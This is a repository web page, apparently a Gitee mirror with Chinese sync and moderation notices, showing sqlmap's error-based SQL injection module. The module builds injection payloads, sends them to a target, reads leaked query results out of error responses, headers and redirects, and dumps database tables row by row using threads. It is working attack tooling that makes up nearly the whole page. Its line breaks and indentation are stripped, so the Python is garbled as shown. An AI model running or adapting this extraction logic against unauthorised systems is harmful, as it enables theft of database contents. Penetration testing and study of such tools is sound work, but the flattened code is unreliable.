同步操作将从 yeqingchen1/sqlmap 强制同步,此操作会覆盖自 Fork 仓库以来所做的任何修改,且无法恢复!!!
确定后同步将在后台操作,完成时将刷新页面,请耐心等待。
#!/usr/bin/env python"""Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)See the file 'LICENSE' for copying permission"""from __future__ import print_functionimport reimport timefrom extra.safe2bin.safe2bin import safecharencodefrom lib.core.agent import agentfrom lib.core.bigarray import BigArrayfrom lib.core.common import Backendfrom lib.core.common import calculateDeltaSecondsfrom lib.core.common import dataToStdoutfrom lib.core.common import decodeDbmsHexValuefrom lib.core.common import extractRegexResultfrom lib.core.common import firstNotNonefrom lib.core.common import getConsoleWidthfrom lib.core.common import getPartRunfrom lib.core.common import getTechniquefrom lib.core.common import getTechniqueDatafrom lib.core.common import hashDBRetrievefrom lib.core.common import hashDBWritefrom lib.core.common import incrementCounterfrom lib.core.common import initTechniquefrom lib.core.common import isListLikefrom lib.core.common import isNumPosStrValuefrom lib.core.common import listToStrValuefrom lib.core.common import readInputfrom lib.core.common import unArrayizeValuefrom lib.core.common import wasLastResponseHTTPErrorfrom lib.core.compat import xrangefrom lib.core.convert import decodeHexfrom lib.core.convert import getUnicodefrom lib.core.convert import htmlUnescapefrom lib.core.data import conffrom lib.core.data import kbfrom lib.core.data import loggerfrom lib.core.data import queriesfrom lib.core.dicts import FROM_DUMMY_TABLEfrom lib.core.enums import DBMSfrom lib.core.enums import HASHDB_KEYSfrom lib.core.enums import HTTP_HEADERfrom lib.core.exception import SqlmapDataExceptionfrom lib.core.settings import CHECK_ZERO_COLUMNS_THRESHOLDfrom lib.core.settings import MAX_ERROR_CHUNK_LENGTHfrom lib.core.settings import MIN_ERROR_CHUNK_LENGTHfrom lib.core.settings import NULLfrom lib.core.settings import PARTIAL_VALUE_MARKERfrom lib.core.settings import ROTATING_CHARSfrom lib.core.settings import SLOW_ORDER_COUNT_THRESHOLDfrom lib.core.settings import SQL_SCALAR_REGEXfrom lib.core.settings import TURN_OFF_RESUME_INFO_LIMITfrom lib.core.threads import getCurrentThreadDatafrom lib.core.threads import runThreadsfrom lib.core.unescaper import unescaperfrom lib.request.connect import Connect as Requestfrom lib.utils.progress import ProgressBarfrom thirdparty import sixdef _oneShotErrorUse(expression, field=None, chunkTest=False):offset = 1rotator = 0partialValue = NonethreadData = getCurrentThreadData()retVal = hashDBRetrieve(expression, checkConf=True)if retVal and PARTIAL_VALUE_MARKER in retVal:partialValue = retVal = retVal.replace(PARTIAL_VALUE_MARKER, "")logger.info("resuming partial value: '%s'" % _formatPartialContent(partialValue))offset += len(partialValue)threadData.resumed = retVal is not None and not partialValueif any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.ORACLE)) and kb.errorChunkLength is None and not chunkTest and not kb.testMode:debugMsg = "searching for error chunk length..."logger.debug(debugMsg)current = MAX_ERROR_CHUNK_LENGTHwhile current >= MIN_ERROR_CHUNK_LENGTH:testChar = str(current % 10)if Backend.isDbms(DBMS.ORACLE):testQuery = "RPAD('%s',%d,'%s')" % (testChar, current, testChar)else:testQuery = "%s('%s',%d)" % ("REPEAT" if Backend.isDbms(DBMS.MYSQL) else "REPLICATE", testChar, current)testQuery = "SELECT %s" % (agent.hexConvertField(testQuery) if conf.hexConvert else testQuery)result = unArrayizeValue(_oneShotErrorUse(testQuery, chunkTest=True))if (result or "").startswith(testChar):if result == testChar * current:kb.errorChunkLength = currentbreakelse:result = re.search(r"\A\w+", result).group(0)candidate = len(result) - len(kb.chars.stop)current = candidate if candidate != current else current - 1else:current = current // 2if kb.errorChunkLength:hashDBWrite(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH, kb.errorChunkLength)else:kb.errorChunkLength = 0if retVal is None or partialValue:try:while True:check = r"(?si)%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop)trimCheck = r"(?si)%s(?P<result>[^<\n]*)" % kb.chars.startif field:nulledCastedField = agent.nullAndCastField(field)if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.ORACLE)) and not any(_ in field for _ in ("COUNT", "CASE")) and kb.errorChunkLength and not chunkTest:extendedField = re.search(r"[^ ,]*%s[^ ,]*" % re.escape(field), expression).group(0)if extendedField != field: # e.g. MIN(surname)nulledCastedField = extendedField.replace(field, nulledCastedField)field = extendedFieldnulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, kb.errorChunkLength)# Forge the error-based SQL injection requestvector = getTechniqueData().vectorquery = agent.prefixQuery(vector)query = agent.suffixQuery(query)injExpression = expression.replace(field, nulledCastedField, 1) if field else expressioninjExpression = unescaper.escape(injExpression)injExpression = query.replace("[QUERY]", injExpression)payload = agent.payload(newValue=injExpression)# Perform the requestpage, headers, _ = Request.queryPage(payload, content=True, raise404=False)incrementCounter(getTechnique())if page and conf.noEscape:page = re.sub(r"('|\%%27)%s('|\%%27).*?('|\%%27)%s('|\%%27)" % (kb.chars.start, kb.chars.stop), "", page)# Parse the returned page to get the exact error-based# SQL injection outputoutput = firstNotNone(extractRegexResult(check, page),extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None),extractRegexResult(check, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)),extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None))if output is not None:output = getUnicode(output)else:trimmed = firstNotNone(extractRegexResult(trimCheck, page),extractRegexResult(trimCheck, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None),extractRegexResult(trimCheck, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)),extractRegexResult(trimCheck, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None))if trimmed:if not chunkTest:warnMsg = "possible server trimmed output detected "warnMsg += "(due to its length and/or content): "warnMsg += safecharencode(trimmed)logger.warn(warnMsg)if not kb.testMode:check = r"(?P<result>[^<>\n]*?)%s" % kb.chars.stop[:2]output = extractRegexResult(check, trimmed, re.IGNORECASE)if not output:check = r"(?P<result>[^\s<>'\"]+)"output = extractRegexResult(check, trimmed, re.IGNORECASE)else:output = output.rstrip()if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.ORACLE)):if offset == 1:retVal = outputelse:retVal += output if output else ''if output and kb.errorChunkLength and len(output) >= kb.errorChunkLength and not chunkTest:offset += kb.errorChunkLengthelse:breakif output and conf.verbose in (1, 2) and not any((conf.api, kb.bruteMode)):if kb.fileReadMode:dataToStdout(_formatPartialContent(output).replace(r"\n", "\n").replace(r"\t", "\t"))elif offset > 1:rotator += 1if rotator >= len(ROTATING_CHARS):rotator = 0dataToStdout("\r%s\r" % ROTATING_CHARS[rotator])else:retVal = outputbreakexcept:if retVal is not None:hashDBWrite(expression, "%s%s" % (retVal, PARTIAL_VALUE_MARKER))raiseretVal = decodeDbmsHexValue(retVal) if conf.hexConvert else retValif isinstance(retVal, six.string_types):retVal = htmlUnescape(retVal).replace("<br>", "\n")retVal = _errorReplaceChars(retVal)if retVal is not None:hashDBWrite(expression, retVal)else:_ = "(?si)%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop)retVal = extractRegexResult(_, retVal) or retValreturn safecharencode(retVal) if kb.safeCharEncode else retValdef _errorFields(expression, expressionFields, expressionFieldsList, num=None, emptyFields=None, suppressOutput=False):values = []origExpr = Nonewidth = getConsoleWidth()threadData = getCurrentThreadData()for field in expressionFieldsList:output = Noneif field.startswith("ROWNUM "):continueif isinstance(num, int):origExpr = expressionexpression = agent.limitQuery(num, expression, field, expressionFieldsList[0])if "ROWNUM" in expressionFieldsList:expressionReplaced = expressionelse:expressionReplaced = expression.replace(expressionFields, field, 1)output = NULL if emptyFields and field in emptyFields else _oneShotErrorUse(expressionReplaced, field)if not kb.threadContinue:return Noneif not any((suppressOutput, kb.bruteMode)):if kb.fileReadMode and output and output.strip():print()elif output is not None and not (threadData.resumed and kb.suppressResumeInfo) and not (emptyFields and field in emptyFields):status = "[%s] [INFO] %s: '%s'" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", output if kb.safeCharEncode else safecharencode(output))if len(status) > width:status = "%s..." % status[:width - 3]dataToStdout("%s\n" % status)if isinstance(num, int):expression = origExprvalues.append(output)return valuesdef _errorReplaceChars(value):"""Restores safely replaced characters"""retVal = valueif value:retVal = retVal.replace(kb.chars.space, " ").replace(kb.chars.dollar, "$").replace(kb.chars.at, "@").replace(kb.chars.hash_, "#")return retValdef _formatPartialContent(value):"""Prepares (possibly hex-encoded) partial content for safe console output"""if value and isinstance(value, six.string_types):try:value = decodeHex(value, binary=False)except:passfinally:value = safecharencode(value)return valuedef errorUse(expression, dump=False):"""Retrieve the output of a SQL query taking advantage of the error-basedSQL injection vulnerability on the affected parameter."""initTechnique(getTechnique())abortedFlag = Falsecount = NoneemptyFields = []start = time.time()startLimit = 0stopLimit = Nonevalue = None_, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression)# Set kb.partRun in case the engine is called from the APIkb.partRun = getPartRun(alias=False) if conf.api else None# We have to check if the SQL query might return multiple entries# and in such case forge the SQL limiting the query output one# entry at a time# NOTE: we assume that only queries that get data from a table can# return multiple entriesif (dump and (conf.limitStart or conf.limitStop)) or (" FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and ("(CASE" not in expression.upper() or ("(CASE" in expression.upper() and "WHEN use" in expression))) and not re.search(SQL_SCALAR_REGEX, expression, re.I):expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump)if limitCond:# Count the number of SQL query entries outputcountedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % ('*' if len(expressionFieldsList) > 1 else expressionFields), 1)if " ORDER BY " in countedExpression.upper():_ = countedExpression.upper().rindex(" ORDER BY ")countedExpression = countedExpression[:_]_, _, _, _, _, _, countedExpressionFields, _ = agent.getFields(countedExpression)count = unArrayizeValue(_oneShotErrorUse(countedExpression, countedExpressionFields))if isNumPosStrValue(count):if isinstance(stopLimit, int) and stopLimit > 0:stopLimit = min(int(count), int(stopLimit))else:stopLimit = int(count)infoMsg = "used SQL query returns "infoMsg += "%d %s" % (stopLimit, "entries" if stopLimit > 1 else "entry")logger.info(infoMsg)elif count and not count.isdigit():warnMsg = "it was not possible to count the number "warnMsg += "of entries for the SQL query provided. "warnMsg += "sqlmap will assume that it returns only "warnMsg += "one entry"logger.warn(warnMsg)stopLimit = 1elif (not count or int(count) == 0):if not count:warnMsg = "the SQL query provided does not "warnMsg += "return any output"logger.warn(warnMsg)else:value = [] # for empty tablesreturn valueif isNumPosStrValue(count) and int(count) > 1:if " ORDER BY " in expression and (stopLimit - startLimit) > SLOW_ORDER_COUNT_THRESHOLD:message = "due to huge table size do you want to remove "message += "ORDER BY clause gaining speed over consistency? [y/N] "if readInput(message, default="N", boolean=True):expression = expression[:expression.index(" ORDER BY ")]numThreads = min(conf.threads, (stopLimit - startLimit))threadData = getCurrentThreadData()try:threadData.shared.limits = iter(xrange(startLimit, stopLimit))except OverflowError:errMsg = "boundary limits (%d,%d) are too large. Please rerun " % (startLimit, stopLimit)errMsg += "with switch '--fresh-queries'"raise SqlmapDataException(errMsg)threadData.shared.value = BigArray()threadData.shared.buffered = []threadData.shared.counter = 0threadData.shared.lastFlushed = startLimit - 1threadData.shared.showEta = conf.eta and (stopLimit - startLimit) > 1if threadData.shared.showEta:threadData.shared.progress = ProgressBar(maxValue=(stopLimit - startLimit))if kb.dumpTable and (len(expressionFieldsList) < (stopLimit - startLimit) > CHECK_ZERO_COLUMNS_THRESHOLD):for field in expressionFieldsList:if _oneShotErrorUse("SELECT COUNT(%s) FROM %s" % (field, kb.dumpTable)) == '0':emptyFields.append(field)debugMsg = "column '%s' of table '%s' will not be " % (field, kb.dumpTable)debugMsg += "dumped as it appears to be empty"logger.debug(debugMsg)if stopLimit > TURN_OFF_RESUME_INFO_LIMIT:kb.suppressResumeInfo = TruedebugMsg = "suppressing possible resume console info because of "debugMsg += "large number of rows. It might take too long"logger.debug(debugMsg)try:def errorThread():threadData = getCurrentThreadData()while kb.threadContinue:with kb.locks.limit:try:threadData.shared.counter += 1num = next(threadData.shared.limits)except StopIteration:breakoutput = _errorFields(expression, expressionFields, expressionFieldsList, num, emptyFields, threadData.shared.showEta)if not kb.threadContinue:breakif output and isListLike(output) and len(output) == 1:output = unArrayizeValue(output)with kb.locks.value:index = Noneif threadData.shared.showEta:threadData.shared.progress.progress(threadData.shared.counter)for index in xrange(1 + len(threadData.shared.buffered)):if index < len(threadData.shared.buffered) and threadData.shared.buffered[index][0] >= num:breakthreadData.shared.buffered.insert(index or 0, (num, output))while threadData.shared.buffered and threadData.shared.lastFlushed + 1 == threadData.shared.buffered[0][0]:threadData.shared.lastFlushed += 1threadData.shared.value.append(threadData.shared.buffered[0][1])del threadData.shared.buffered[0]runThreads(numThreads, errorThread)except KeyboardInterrupt:abortedFlag = TruewarnMsg = "user aborted during enumeration. sqlmap "warnMsg += "will display partial output"logger.warn(warnMsg)finally:threadData.shared.value.extend(_[1] for _ in sorted(threadData.shared.buffered))value = threadData.shared.valuekb.suppressResumeInfo = Falseif not value and not abortedFlag:value = _errorFields(expression, expressionFields, expressionFieldsList)if value and isListLike(value):if len(value) == 1 and isinstance(value[0], (six.string_types, type(None))):value = unArrayizeValue(value)elif len(value) > 1 and stopLimit == 1:value = [value]duration = calculateDeltaSeconds(start)if not kb.bruteMode:debugMsg = "performed %d queries in %.2f seconds" % (kb.counters[getTechnique()], duration)logger.debug(debugMsg)return value
此处可能存在不合适展示的内容,页面不予展示。您可通过相关编辑功能自查并修改。
如您确认内容无涉及 不当用语 / 纯广告导流 / 暴力 / 低俗色情 / 侵权 / 盗版 / 虚假 / 无价值内容或违法国家有关法律法规的内容,可点击提交进行申诉,我们将尽快为您处理。